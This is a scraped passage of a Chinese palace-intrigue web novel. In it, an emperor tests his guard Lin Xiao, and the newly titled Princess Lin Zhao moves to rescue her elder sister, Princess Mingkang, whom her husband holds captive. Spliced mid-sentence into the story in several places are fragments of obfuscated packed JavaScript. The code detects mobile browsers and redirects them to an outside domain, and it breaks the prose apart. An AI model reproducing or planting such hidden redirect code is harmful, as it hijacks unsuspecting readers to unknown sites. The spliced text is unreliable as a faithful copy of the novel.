林霄自然记得,无病,去病,霍去病,除了姓氏不同,两者不过一字之差,每日都有人如此喊他,他又怎么可能忘记呢。他名为霄,陛下赐他的字却没有延续霄字的寓意,反而给了一个看似无关的无病二字,用意何等明显。 这又何尝不是他的梦想呢。 所以,听到武德帝问这个问题,林霄便立马单膝跪地,头颅深深低下,掷地有声道,“陛下厚恩,先赐臣此字,后又赐臣破虏剑,意在鞭策臣向冠军侯学习,为陛下开疆拓土,驱除鞑虏。臣时刻铭记在心,无一日敢忘。” 然而,他说完这句话之后,陛下那预想中的赞赏却并没有来。 林霄等了好久,直到他忍不住抬起头,看向武德帝,这才发现他竟然阖上了眼。林霄内心有一瞬间很是惶恐,他不明白到底怎么回事。武德帝的沉默就像山一样,压着他喘不过气来。 直到过了许久,他才听到上首的帝王先是发出一声极淡极轻的叹息声,随即才语气低沉得说出一句的话,“无病......你应该知道,天兆预言.......朕已只剩下六年寿命。” “陛下——”林霄的心猛然揪紧,抬头看向武德帝,哪怕亲耳听到那天兆所言,可他从未将这件事放在心上。在他看来,那玩意太过莫测了,说的事情不一定是真的。 可他没想到,武德帝竟然相信了,忍不住出口道,“那天兆虚无缥缈,如何能信?” 陛下却神色深沉,缓缓睁开眼,定定得看着他,声音疲惫又沙哑道,“真真假假.......谁又知道呢?”说着,林霄便看到帝王站了起来,缓步走到店内的窗子边,声音陡然变得轻快起来,“无病,刚刚我见到了我那女儿了,你猜她问我要了什么?”说着,也不待林霄猜测,便直接道出了答案,“她向我要了四样东西,王位,出宫居住,钱财以及你的保护。” 林霄震惊,一个公主居然向天子索取王位,到底是谁给了她如此胆气? “是不是很震惊!”天子笑道,语气中不仅没有怒气,反而带点得意。这着实出乎林霄预料。难道,天子当真觉得那天兆所言是真?可还没等他消化这个震惊的消息,便又听天子说道,“我也挺震惊的,一个在乡野十几年的人,如今不过小小一个的矮敦子,竟还有如此野心?哈哈——” 说完,天子便哈哈哈大笑了起来,笑完眼中锐光一闪,走到他面前盯着他道,“最重要的是,朕答应了!” 说完,他便用一种审视的目光看向林霄。 林霄此刻的心已经无法用震惊来形容了,他想说些什么,可看着帝王那威严的神情,他却什么都不能说,只能深深的低下头,一字一句道,“无病一切都听从陛下的,陛下说什么,无病便做什么!” 天子显然对他的回答很满意,目光柔和了下来,拍了拍他的肩膀,语重心长道,“那好,无病,我就把她交给你了。”说完最后四个字时,天子声音突然压低,拍在他肩膀上的手也往下一压,以一种近乎耳语般的微小声音对着他道,“记住,你守护的不只是一个公主,她也可能是西雍国的未来,你明白吗?” 林霄已震惊到近乎麻木的心,此刻依然忍不住一跳,西雍国的未来,除了未来的储君,谁能堪称西雍国的未来。公主明明只是一名女子,可听天子.......天子的意思,分明是.......将公主放在和太子、贤王等人同一位置上啊! 这是否意味着,天子甚至并不反对公主为帝? 女子为帝,何等惊世骇俗!极度的震惊冲击着他的脑海,让他甚至顾不上君臣礼仪,直接抬起了头。 随即,视线便猛然撞进了武德帝那双近在咫尺的眸子里。此刻,帝王那双眼睛里面,哪里还有刚刚的柔和,只剩下深邃到近乎深渊的黑,更令人胆寒的是,林霄在那双眼睛的眼底,看到了一股如海一般的杀意。他甚至不必怀疑,但凡他此刻露出了任何非惊讶的神色,等待他的都必然是死亡的结局。 冷汗瞬间从他身上曝出,林霄知道,黄女官刺杀这件事,到底让天子对他产生了怀疑。林霄早已预料到这个结果,他并没有说什么,只再次深深得低下头,恭敬道,“臣明白。” 以绝对温顺的姿态,表达自己对天子的敬服。 他就那样跪着,一动也不动! 过了近一盏茶的时间后,上座才传来天子的声音,“好了,去吧!” 林霄立马退下。 他知道,这一关他暂且过去了,天子选择了暂且相信他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228965|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这也意味着,哪怕他内心其实并不是很愿意踏入这场帝位争夺的漩涡,如今的他也被迫困在了这洛京,必须拼尽性命,去保全这位公主。若这位殿下再出事故,等待他的怕会是天子更可怕的雷霆怒火。 他以为这位凭借女子之身获封王爵的昭王,已经和天子有了一样的默契。 所以,有那么一瞬间,才会对他露出那种拉拢的神情。 谁料,下一瞬便听她说出那样一句话。 林霄摸不清楚眼前这个昭王的想法,也不知道这是她的刻意试探?还是真的对他的嫌弃?便只能俯首恭敬答道, “殿下言重了,能护卫殿下安全,是臣的荣幸!” 林昭点头,也没打算一下子就让人相信,自己并没有困住他的意思,毕竟,当初向武德帝要人的是她,如今她再来那样一句话,怎么听怎么感觉假惺惺。本想结束这轮客套的寒暄,但又考虑到自己特意将人找来,总不能就这么说两句话就走吧。 再加上以后再怎么也要相处不少时间,多了解一下总没有什么坏处。毕竟,不管是那本团宠文还是原主的记忆里,都几乎没有与林霄此人相关的记录。 随即便以一种略带好奇的口吻问道,“林中郎家中几人?可有儿女?” 林霄也没有多想,对这样的问询也早已习以为常,直接回答道,“臣家中父母早逝,如今只剩家姐和一妻一儿。” “哦,姐姐?”林昭微微挑眉,不期然林霄竟然还有一个姐姐。 想到刚刚王直不经意的提醒,今天倒是巧了,接连听到姐姐二字,便笑着说道,“林中郎竟然也有姐姐,巧了,孤的长姐明康公主似乎就住在隔壁呢。”考虑到林霄都年近三十了,而他姐姐竟然还在家,必有缘由。且这缘由,怕也不是什么值得高兴的事。 林昭便将话头巧妙一转,顺着明康公主这条线,随口继续问道,“中郎将可知道,明康公主是个什么样的人?” 话题转得太快,犹如狂风骤雨。林霄上一秒还在想自家家姐的事情,下一秒便不得不努力回忆,自己印象中的明康公主。 可因为这位公主惯常都处于隐身状态,林霄猛然发现,自己对明康公主的了解着实不多。最后,脑子里只有一团不甚清晰的印象,只记得这是一位格外贤良淑德的公主,和曾经的明珠公主完全不同,更别说如今的昭王了。 想了想,林霄到底还是只能斟酌着答道,“回殿下,臣对明康公主所知不多,只知道公主自小便深居简出,娴静非常。自嫁入赵家之后,更是贤良淑德,备受人赞誉,堪为——”林霄本想说,堪为女子典范的。然后,想到眼前人也是女子,甚至还可能是未来储君的女子。如果在平时,这个词也许是对女子的赞誉。但如今放在昭王面前,便可能成为一种讽刺。 他瞬时便改了自己的后半句话,“皇室公主的典范。” “贤良淑德?”林昭倒没有在意他最后那句话,她意外的是林霄对这位明康公主的形容,武德帝那样脾气暴躁的一个人,竟然生出一个贤良淑德的公主。她还以为,他能养出林明珠那样天真性子的女儿,就已经够奇葩了呢? “是!”林霄垂首恭谨道,“公主自从下嫁赵家之后,便一直克娴内则,恪守妇德,贤良淑德之名备受称赞。” “这么说,她和驸马感情不错?”林昭挑了挑眉,颇有点诧异的问道。 “这——”林霄俯身,一时竟不知道该如何回答,这种男女闺阁之事,他又如何得知? 林昭看着林霄那骤然僵住的模样,也知道自己有点为难人了。她之所以这么问,不过是知晓后面明康公主死后,武德帝杀了驸马全家,便理所当然的觉得两人之间的感情应该不好,甚至明康公主的死很可能都与这个驸马有关。 如今乍然听到,自己这个姐姐自从嫁到赵家之后,贤良淑德的美名便盛传整个洛京,便觉得颇为怪异而已。 说到底,会突然谈起这个长姐,也不过是阳差阳错。 “无事,中郎将不必紧张。”林昭唇角微扬,露出一抹安抚性的笑容,声音清朗得对林霄道,“不过是闲聊而已,我也不过随口一问,林中郎不必放在心上。” 说完,她在心中估量了一下,感觉也差不多了,便端起茶杯对他说道,“接下来就辛苦中郎将了。” 林霄见此很识趣的立马起身,俯身行礼道,“殿下客气。” 随后恭敬退下。 两人都以为这只是一场普普通通的谈话,压根没想到这件事竟然还能有后续。 24.第 24 章 卯夜时分,睡眠正酣时。 “殿下——殿下——醒醒!” 一个温和却坚持不懈的声音,一直在她耳边响起,硬生生把林昭从深度睡眠中唤醒了。 林昭整个人都有点反应不过来的茫然,她虽然已吃了那枚长寿丸,甚至因此把011金手指系统都给气得不肯说话了,但想要将这具身体真正改善到正常人程度,依然是需要不短的时间。因此,最近这段时日,她格外嗜睡。 好在这是个古代世界,没有现代花花世界的各种电子娱乐,晚上她除了看看书,也没有其他休闲。所以,哪怕她每日早上辰时起,睡眠时间也能达到足十个小时。 她穿书到现在,还没发生过半路被人喊醒的情况呢! 她扭头看去,正是这几天服侍她的女官青衣。 很显然,刚刚将她唤醒的,也是她。 “怎么回事?”她皱眉看向青衣,这些时日,林昭冷眼瞧着,这个女官虽然是武德帝派给她的人,但心思缜密,行事极有分寸眼色。按道理而言,她不该做出深夜惊扰她睡眠这样的事情的。 青衣自然看出了林昭脸上的不悦。 自从被帝王派到这个昭王身边后,青衣就一直谨言慎行,生怕自己落得和阳女官一样的下场。 黄女官敢刺杀公主,全家死不足惜。阳女官可没有做,甚至还可能是受害者。但那又如何?天子便是天子,迁怒不过是常态。不过一句话,阳女官便被赶出了宫。虽然没有丢掉命,但一个犯错被宫里赶出去的女官,又能有什么好下场呢? 所以,若非必要,女官青衣是绝不愿意进来打扰林昭的。 可事涉明康公主,殿下的长姐,她却不得不为。眼看着林昭脸上神色愈发不好,青衣立马低下头,一边请罪一边快速的将事情说了出来,“殿下恕罪,惊扰殿下安寝,奴婢罪该万死!可事涉明康公主,奴婢不敢不报。” “明康公主?”林昭讶异的看了她一眼,“孤那个住在隔壁的长姐?” “是!”青衣点头。 这就奇了,她这边昨天才刚和林霄聊起这个长姐,今儿个就突然碰到了她的事情,这未免太凑巧了吧。不过,如今已经不是计较凑不凑巧的问题,既然事情已经报到她眼前了,又关乎这个未曾谋面的长姐,林昭还真就得起来处理一下。 她从床上坐起,目光掠过青衣身后伺候洗漱的宫女一眼,不再言语,直到洗漱完毕穿好衣服,这才继续问道, “明康公主那边到底出了什么事情?” 青衣闻言立马上前一步,声音压得极轻,却字字清晰得回禀,“殿下,公主似乎被驸马囚禁了!” “什么?”林昭本已踏出的脚转身又收了回来,她扭头看向青衣,沉下了目光,冷声问道,“囚禁?你确定?” 青衣并没有正面回答,只说道:“殿下,公主的侍女正在前殿。” 前殿既昭明殿。她这王府的规制,和林昭在现代旅游看到的王府不同,并没有后来朝代那些王府那般规整,也没有那么多的院落。不过,代表王府规制的核心建筑却不缺,且都集中在府邸中轴线上。 其中,最重要自然是前殿昭明殿,既是整个王府的主殿,也是她商讨事情待客的地方,开阔轩敞,用料讲究,虽然称不上后世王府的精雕细琢,但青砖灰木黑瓦,也称得上气势恢宏。在整个王府的地位,就类似于西雍宫里的乾安殿。 昭明殿后面才是她现在所站的位置,也是她准备用来日常起居的殿,吟风殿。 从后殿吟风殿到前殿昭明殿,不过一盏茶的距离。 在昭明殿侧殿门口,林昭丝毫没有意外得看到了两人,一个是武德帝给她的舍人王直,一个自然是护她安全的林霄。两人看到她到来之后,立马便行礼。林昭点了点头,直接略过脸上挂着谦恭面容的王直,看向穿着铠甲冷着脸的林霄, “林中郎,怎么回事?” 林霄心中也颇觉荒谬,他白日刚跟殿下提明康公主,谁料晚上就发生了这位明康公主贴身侍女闯入王府的事情,还以那么惊心动魄的方式突兀出现,差点被他手下的虎贲军捅个对穿。 要不是她最后喊出了“明康公主”四个字,手上又拿了一块似公主殿下的令牌做信物,林霄都差点要以为这是什么新型刺杀方式呢。 好不容易查明那名宫女的身份,结果那人一开口就喊出了一个致命消息。 ——明康公主竟然被驸马囚禁了,目前已岌岌可危。这宫女跑来昭王府,不是来做其他,就是来求救的。 如此骇人听闻的消息,早已超出林霄能够处理的范畴。再加上那宫女声嘶力竭的哭喊,好似那明康公主下一秒就要死掉一般,没有办法,他只能让人叫醒昭王,将这件事告知。 如今,听到林昭询问,自然一一道来。 “禀殿下,寅正时分,一名女子突然从夹道中意欲进入王府,虎贲卫将其捉拿,那名女子却自称阿茶,说是明康公主的侍女,特意来昭王府寻求殿下的帮助,言驸马囚禁明康公主,公主已病入膏肓,希望殿下救一救公主。臣已看过那名女子手持的令牌,的确是明康公主府的府令。臣等无法,只好惊扰殿下安寝,请殿下恕罪。” 林昭自然不可能因这样一件事怪罪林霄,她虚扶了一下,便对他道,“无碍,那名侍女在何处?” 林霄正欲回答,侧殿内的阿茶却早已在听到林昭的声音时,便开始全神贯注的聆听两人的对话。 如今听到她问询自己,更是再也没有了顾忌,直接大声嘶喊起来,声音急切焦虑中带着一种孤注一掷的绝望,“昭王殿下——昭王殿下——,求求你!求你救救公主吧!求你救救我家公主!求你了——” 得了,这下也不需要林霄回答了。 林昭扭头就沿着声音,走进了昭明殿侧殿,然后便在殿中看到一个被五花大绑的侍女。 那侍女大概十七八岁的样子,一身暗褐色衣裳,大概是为了在夜里躲避身形,脸上身上都涂了不少墨汁,整个人看起来黝黑黝黑的。可以看得出,为了辨认她的身份,已经有人给她的脸清洗过了。可即便如此,那张脸依然泛着黑。 看到她的到来,侍女先是眼神一亮,随即却又立马黯淡了下去,露出明显失望的神情。 林昭不用想,也知道她为何失望。 侍女冒着被格杀的风险跑到昭王府,还特意选择凌晨三四点,这个哪怕是守夜的侍卫都已开始松懈打盹的时候,显然是抱着非常大期待的。心底怕是已将她这个昭王视为光芒万丈的救世主了,又怎么可能会想得到真实的她会是这般矮小瘦弱模样。 落差太大,一时之间自然是有点接受无能。 林昭对此并没有在意,以貌取人是人的通病,只要她还顶着这幅矮小瘦弱的面容,这样的神情就不会少见,也在意不过来。 她先让人给她松绑,随即走到侧殿的上座坐下,也没再多做什么,单刀直入问道, “你是明康长姐的侍女?” “是。” “你说,赵驸马囚禁明康长姐?” 阿茶听到这句问话,原本失望的脸上立马又涌上期待希冀的神情。虽然这个让武德帝破格封为昭王的公主,又瘦又小,看着着实不像是能够帮助明康公主的人。但她人已经到了这昭王府,昭王已经是拯救公主的最大希望了,不管怎么样,她都想试一试。 想到这里,阿茶直接双膝上前跪行一步,对着林昭再次哀求道,“昭王殿下,你一定要救公主啊!赵驸马就是个中山狼,公主对他那般好,为他赵家上下各种经营打点,委曲求全,即便是明知道他整日花天酒地,也没有拦着他,甚至还给他金银,堪称予取予求。可赵驸马拿着公主的钱鬼混就算了,竟然还欺凌公主,侮辱公主婢女,如今更是连公主都被她囚禁了。公主——” 说到此处,阿茶声音已经哽咽,眼泪也控制不住的流了出来,直接在脸上划出了一条黑色的线。她看了一眼林昭,却失望的发现,这位昭王殿下脸上压根没有动容的神情,自己也看不出这位昭王殿下心中是否有所触动。 难道真的没人能够救他们公主了吗?阿茶忍不住俯身趴在地上,声嘶力竭的声音对着林昭绝望得喊道,“殿下,公主已经病了好几个月了,那赵驸马不仅没有请医工进府为公主医治,反而驱赶了公主府的侍从,导致整个公主府几乎全都是赵府的奴才,又扣下了公主带去赵府的药材,直接把公主囚禁在了偏僻院落。殿下,驸马...驸马这是诚心要公主死啊!” 林昭并没有立马说话,因为这一切太怪异。 在现代,她如果听到有丈夫囚禁妻子这样的新闻,还不至于惊讶。毕竟,男女体力悬殊,女子又是独自上门嫁到丈夫家,还真有可能发生这样的事情。别说囚禁了,家暴甚至恶意杀人的都不少,个个案例都触目惊心呢。 可这是封建特权的古代,她那长姐也不是什么无权无势的弱女子,而是一国的公主。一国公主竟然被驸马这样一个依附于她的人给囚禁了,怎么听怎么都有点魔幻。 在她看来,会发生这样的情况,只有一种可能性,即那赵驸马是那种言情小说中权倾朝野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在当下西雍国,能被称为太后自然只有一个人,武德帝的母亲。虽然她早就在武德帝登基前去世了。但这还是让她猛然想起那本团宠文里的一件极不起眼的小事。 男主宇文墨后期回到北周国时争夺大位时,身边曾经出现过一个名叫司马先的谋士。心腹怀疑司马先的来意和忠心,宇文墨就笃定得跟他说,“司马先绝不可能背叛我。他司马家本是西雍国顶级权贵,他姑母本该是西雍国太后,若非我那“好岳父”小人夺位,那西雍国的江山也不会轮到那样一家子人来坐。” 林昭当时并没有太注意这条信息,可如今听到王直提及先仁康太后,再对比男主口中那本该是西雍国太后的姑母,一个可能猜测突然在她脑海中成型——或许,司马先的姑母才是她祖父的原配,所谓的先仁康太后是武德帝登基之后才被扶正的。 毕竟,皇帝的母亲怎么可能不是正妻呢? 因为赵家势弱,这才出现了武德帝嫁女赵氏的情况。参照后来某个大怂的皇帝。 不过,这件事肯定是不能明着问的。权力的争夺从来不可能温和,当年武德帝和那些兄弟交锋的激烈程度,怕是不会比现在太子与贤王等人的弱。自己被抱错这件事,背后好像就有司马家的原因。 司马家既然被赶出了西雍国,那么关于司马家以及那个祖父原配的事情,也铁定已经被武德帝这个最终赢家封禁了,不然不会一点风声都没用,甚至小说都没有明示过。 在这个嫡庶差异如此严峻的时代,北齐高洋嫡次子夺位,都尚且被他娘骂成虫,何况武德帝这样一个庶子。她实在没必要因为这样一件事去触怒他。 而且,她这个长姐的婢女为何没有去向贤王等人求救,此刻也有了解释。 武德帝既然想通过嫁女提高自己外家的势力,自然对这个外家有一定的感情,或者说,对母亲的感情投射到了赵家身上。 不管是太子、贤王还是荣王,他们肯定也是很清楚知道这件事,所以即便知晓明康这个公主被赵驸马囚禁,也可能为了讨好武德帝,对这件事来个视而不见。 说到底,明康公主对他们而言,也不过是个同父异母的妹妹而已,哪里比得上利益重要。 哪怕是林昭,纵然同为女子,此刻已经知晓了明康这个血缘长姐如今身陷囹圄,甚至命悬一线,第一时间也不是愤怒,而是分析和权衡利弊。 讲真,她并不想做这个出头的噱子。 25.第 25 章 她如今本就因为王爵的事情,置身在风口浪尖之上。再插手这件事,万一惹怒了武德帝,失去了他的庇佑,后果简直不堪设想。哪怕在武德帝心中,这个大公主的份量可能大于那个所谓的外家? 毕竟,原主第三世记忆中,大公主死后武德帝可是抄了赵家满门。 可人心最是诡谲。大公主死了,武德帝会抄赵家满门;可如果她将其揭露出来,大公主没死,最严重的后果没有造成,武德帝还会对赵家愤怒吗?有没有可能反而觉得她多管闲事了? 着实难说! 而且,一旦她真这样做了,还会给那些朝臣提供抨击她的新理由。 为一个连面都没见过的长姐冒如此多风险。 这买卖,怎么看怎么都不划算。 然而,林昭视线再次移向殿中跪着,头深深的伏在地上,形容狼狈的阿茶身上。 林昭看不到她脸上的表情,她也没有再说话,就好像在等待命运的判决一般。可那份无声的“绝望”还是仿佛有无形的触角一样,传到了她脑海里。 让她脑海中那根属于现代观念的道德之弦,发出尖锐般不成调的震响。 ——假如对这样一件事情都能袖手旁观,见死不救,她跟那些自己曾经鄙夷的人,又有何区别? 最终,林昭还是深吸一口气,做出了决断,虽然不能直接介入,但不代表她不能间接插手一下啊! 况且,明康公主再怎么样也是武德帝的女儿,她就不相信武德帝真能对此一无所知?王直昨天的突然提及,侍女阿茶的突然闯府,甚至这府邸的位置安排,真的只是巧合吗? 林昭从不相信,会有如此多巧合? 只是,林昭还是忍不住又问了一个问题。 “公主府的侍卫呢?”她昭王府的虎贲军虽然是她特意要求的,但公主府也不可能没有侍卫! 就算没有上千,总有个百人吧!就是宋明这些个公主地位偏低的王朝,府内也会布置侍卫啊,那可是公主府。 “侍卫?”阿茶嗫喏了一下,脸上一瞬间有点僵住,她抬头看了上首的昭王一眼,张了张嘴在隐瞒和讲出真相之间徘徊了片刻,最后还是选择说出了真相, “驸马说宫中侍卫过于傲慢,看不起他这个驸马,公主不想因为那些侍卫们影响驸马的心情,便把他们派到偏远皇庄了。” “其他宫女内侍呢?” “公主为了维护赵家的名声,也派出去了。” “就算如此,赵驸马也不至于囚禁长姐吧!”那可是公主,是君,赵程一个驸马如何敢?再说了,一个活着的公主和一个死了的公主,哪个价值更大,但凡稍微有点脑子的人,都不可能选择一个死人。 这样的事情一旦被皇帝查出,普通人家可是要诛九族的。赵家真就这么头铁? “这——”阿茶再次顿了一下,看向林昭,脸上神情痛苦,“公主有一回和驸马吵架时,随口说了一句,要让陛下把驸马一家诛九族!自那以后,公主就被驸马囚禁了。” 林昭:纳尼?? 她几乎都要以为自己听错了!这也太奇葩了好吧!她看向跪伏在地的阿茶,一股难以言喻的荒谬感瞬间冲上心头。 见过蠢得要死的,没见过蠢到自己找死的?她这位长姐竟能天真.........或者说愚蠢到如此地步? 这等授人以柄、自绝生路的诛心之言,也是能当着驸马的面脱口而出的?就算要诛他九族,能不能先把人困住了再说啊! 别说赵驸马了,就算是她,猛然听到这样一句话,还是一位地位比自己高的公主说的,此人还有能力实现,搞不好都会先把人杀了再说。 没办法,反正都要被诛九族了,先下手为强兴许还能活下去。 眼见林昭不再说话了,阿茶忍不住再次哀求起来,“殿下,公主也是被驸马蒙骗的,她也是没办法的啊。公主......公主她从小就没人在意,陛下看不到她,宫人们也.......她做那些事,只是想做一个贤良淑德的公主典范,让陛下看到她而已。 昭王殿下,你救救公主吧!求求你!看在血脉相连的份上,救救公主吧——” “好了!”林昭抬手止住了阿茶的哀求,双手揉了揉自己的太阳穴,只觉得深深的疲倦。这种疲倦并不是她真的没有睡足够的觉,而是一种对女子这个同类的无力感。 到底什么时候,女子才能明白,所有的情感缺失即所谓的缺爱缺安全感,归根到底只是一个原因,就是失权没钱。 有权有钱的人,谁会缺爱啊,有的是人爱你好吗?哪怕是演的,你只要一直有钱,人也会演一辈子。 还有,父母的认可真的没那么重要,过好自己的日子才是最重要的,从你生下来那一刻,满足他们愿望起,你就已经回报完父母了! 有一首诗怎么说来着,父母只是你成长的弓,你要做的就是成为那个离弦的箭,能飞多高就飞多高。 等你飞高了,自然啥都有了!世界上的任何人,都是势利的,包括父母! 结果,堂堂一个公主,竟为了个贤良淑德的名声,为了所谓的让自己的父亲看到,连自己的安全保障都舍弃了,这是何等悲哀! 不想再继续问下去了,林昭站起身,直接对阿茶道,“天明以后,孤会派人将你送到陛下面前。”武德帝自己的女儿,就不要想着让她这个刚回来的人直接出手了,自己去管吧! 林昭说完,抬脚就走。 结果脚还没踏出去,便听到身旁的王直突然走出,低头躬身道,“殿下容禀,陛下......陛下昨儿个便去了玉泉山行宫游猎散心了,御驾回銮时间......不定。” “不定——”好一个时间不定! 林昭停下了脚步,眼神锐利的看向王直。 这一瞬间,她什么都明白了,什么巧合,一切都不过是武德帝有意安排罢了。 武德帝怕是早就知晓明康公主的困境了,他自己不想去揭破这层窗户纸,一旦揭破赵家全族必死无疑。 囚禁公主,哪怕为了皇族威严,他也必须严惩。但又怕自己这个女儿真死了,便安排了她这个“白手套”来揭露这一切。 想到昨天那空空如也的御座,林昭还以为武德帝只是暂时想躲清净而已,没料到她还是想得太简单了。 这个王爵,果然没有那么好拿。 一股被算计的怒火,瞬间涌上她的心头。 林昭的目光很淡,却冷冷的锁在王直身上,直到看得他身躯微微发颤,额角更是开始冷汗潸潸,方才冷哼一声嘲讽道,“王舍人倒是对陛下.......忠心耿耿,提醒得........真是时候。”她刻意拉长了“忠心耿耿”、“是时候”这几个字的音调,以充分展现自己的愤怒。 “只是——”林昭猛地上前一步,看向强自保持镇定的王直,虽然能够明白王直的“皇命不可违”,但心里着实有点不爽,忍不住冷声质问道,“王舍人凭什么觉得,孤就一定会出手!”她表面上问的是王直,实际上问的是武德帝。 林昭不是很明白,武德帝凭什么觉得,她就一定会选择救明康公主这个长姐呢? 凭王直那无意间的一句提醒? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林昭:难道不是武德帝想要教训一下赵家吗?说什么任由她处理?倒成为对她的恩赏了。 不愧是皇帝! 不过—— 她当初朝武德帝要皇庄是为什么?不就是为了提前预备半年之后的建州旱灾吗?如今,又有现成的肥沃皇庄入账,对她接下来的种土豆计划只会更加有利,何乐而不为呢?武德帝这“补偿”,虽然抠门算计又冷酷,但好歹.......没有彻底白嫖! 哪怕为了得到“解决建州旱灾”这一功绩,她也只能捏着鼻子认了。 更别说,这到底牵涉到明康公主一条命。 林昭她瞥了一眼依然恭敬侍立,大气不敢出的王直,闭了闭眼,复又睁开,随即心下做了决定——她要接受了这场考量。 不接受也没有办法,身处这样一个皇权时代,皇帝亲手布置的棋局,她没有说不的权利。这就是皇帝的权力,她作为武德帝手中的棋子,再多不甘,也不容抗拒。 不过,林昭忍不住想,终有一天,她会慢慢的一步步走上那个位置,取代他,拿回自己的命运决策权。想到这里,所有的不甘在林昭的心中湮灭了。因为不甘不过是一时的愤怒,根本无法给与她任何帮助。 林昭眼神重回平静,她便看向如今昭王府的战斗挂林霄,语气平和道,“林中郎,你去准备一下!等下——便随孤去隔壁好好会一会这位.......胆大包天的姐夫吧。” 地上的阿茶闻言,瞬间脸上闪过一抹惊喜,眼神锃亮的看向林昭。 26.第 26 章 此刻,即将身处风暴中心的驸马赵程,却对此浑然不知。 这天,他和往日一样从宿醉中苏醒,醉眼迷蒙得看向已大亮的房间。刺目的晨光正透着雕花窗棂,在他的眼睛旁晃来晃去。赵程被这光晃得烦躁,想要扯了一下床前的帷幔,触手却是一片滑腻。 “驸马爷.......”一声娇弱的嘤咛传来。 赵程醉眼朦胧得看了眼前的人一眼,晨光闪烁着他的眼,让他看不清眼前女子的面容。不过,赵程也没有分辨这人身份的打算,横竖不是府里被他扯上塌的婢女,就是他拉回来的陪酒歌姬之类,左不过都是一群玩物而已。 他直接挑起身边人的被子,就打算覆上去,和往常一样来一次酣畅淋漓的运动。 “爷,别闹了,天亮了!”女子半推半就道。 赵程却丝毫不以为意,直接道,“亮就亮呗,这公主府如今可是我说了算,别说天亮了,就是公主来了,也不敢打扰我!”说着,动作便逐步开始放肆起来。 女子本就不过假意推却,此刻直接放弃了抵抗。 就在两人渐入佳境时,两人所在的房门就被大力敲响。“咚咚咚——”敲门声大如骤雨,跟要去投胎似的。 任谁这样的好事被突然打断,心情也不可能很好,更别说赵程这样的色中饿鬼了。他直接横眉竖起,看了一眼眼前的佳人,又看了一眼那一直被敲着的房门,脸上肉眼可见浮现出暴躁。翻身直接从床上起来,随意披一件外裳,就打开门,看向敲门的管家,脸色很是不耐道, “赵伯,你最好有足够这么做的理由?” 管家赵伯是个看起来六十岁的老人,自然知道自家主人的脾性,也知道如果他的答案不能让老爷满意,自己都可能被迁怒。他也没有犹豫,也没有试图拐弯抹角,立马俯身将自己急于敲门的原因说了出来, “老爷,不好了,昭王一大早就来了,点名要见公主!公主那边——” “昭王?哪里来的什么昭王?”赵程宿醉方醒,压根不知道林昭封王的事情,直接打断了赵伯的话道。他压根没将这件事放在心上,这西雍洛京的王多着呢,有谁管过他这府里的事,“再说了,不过一个昭王,你就说公主不方便见客,直接打发了就是,何必来这里打搅我?也不会去洛京问问,这年头谁一大早就去别人府上,懂不懂礼数?” 赵伯闻言没办法,只好如实道,“老爷,昭王是陛下新找回来的女儿,明康公主的亲妹妹,昨天被陛下特意封了王爵,整个洛京的人都知道了这件事,老奴不好打发啊——” “什么?”赵程收敛起了神色,颇感诧异得问道,“一个乡野公主竟然封王了?” 赵伯点头,“老爷,这位殿下显然颇受陛下宠爱,身边的侍卫似乎不凡,如今又点名要见公主,我们——” 赵程神色一戾,脸色立马难看起来。 这几年在公主府里面的作威作福,予取予求的好日子,早已将他心中那点对公主的滤镜磨了个粉碎。再加上日常被歌姬们各种追捧,赵程有早已不将什么公主看在眼里。甚至,在他看来,这西雍国洛京中,除了武德帝,他赵程几乎可以横着走了。 一个才刚找回来的乡野公主,不过得了武德帝几分喜爱,就敢来找他赵程的麻烦?也不去打听打听他赵程的姑母是谁?他姑母可是武德帝的亲生母亲,先仁康太后。日常就是贤王等人见到他,也得对他客客气气。没有他姑母,哪里来的他们的荣华富贵。 他将这一切都视为理所当然,自然极为不喜欢林昭的行为,忍不住问道, “你没告诉她,公主不见客?” 赵伯:“说了,但昭王没理会,坚持要见公主,还说刚好住公主隔壁,这才一大早打扰。”说到这里,赵伯犹豫了一下,方才继续道,“老爷,公主生病这件事,我们是不是请一下医工,万一这件事被人透了出去?陛下那边——” “怕什么!”赵程冷笑一声,不在意道,“莫非你以为没人知道这件事,不过装糊涂罢了。我赵家可是陛下的母家,没有姑母哪里来的当今陛下。不过区区一个公主而已,哪里能比我们赵家尊贵。” 想到那个被他扔在偏僻院落里,病骨支离,无人问津的女人,赵程脸上顿时浮现轻蔑的神情,什么公主,不过是个普通下贱的女人,呆板无趣,长得也不好看,打不还手骂不还口,跟个木头人一样。 若不是有个公主的名头,嫁妆丰厚可以供自己挥霍,他看也不会看她一眼。 “可如今这昭王求见,要不要告知隔壁的老夫人一声,我等——” “无事,不要去麻烦阿娘了,本驸马去会会他。”赵程直接打断赵伯说道。这公主府名义上是公主的,如今早就成为他赵程的府邸了。到了他的府邸,见什么公主?要见也该是见他这个府邸主人啊! 他赵程倒要看看,这个从乡下来的愣头青公主,有啥本事封成了昭王。 说着,便直接叫人服侍洗漱起来。 * 而此刻,被人叫做乡下愣头青的林昭,此刻却正有一下没一下拨弄着手中的茶水。 